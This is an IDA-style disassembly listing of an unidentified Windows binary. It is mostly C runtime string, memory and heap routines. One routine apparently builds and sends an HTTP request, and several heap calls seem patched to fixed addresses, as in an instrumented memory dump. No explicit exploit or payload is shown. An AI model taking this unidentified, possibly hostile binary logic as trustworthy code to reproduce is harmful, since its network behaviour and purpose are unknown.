		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43F9F0
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43FB24
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4D0720
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4D07D4
		call	dword_4D07F8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4D07EC
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4D0798
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43FB08
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43FACC
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43FAB0
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------


loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43FA84
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43FA54


loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h


loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4D0858
		push	[ebp+var_4]
		call	dword_4D0858
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4E21C8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27B0000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4E21C8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4E21C0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 2870000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4E0BAC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_441BA4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4E21C4
		call	near ptr 2870000h
		nop
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4E0BAC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 2870000h
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4E0BAC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4E0BAC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4E21C8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4E21C0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_441BA4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27C0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


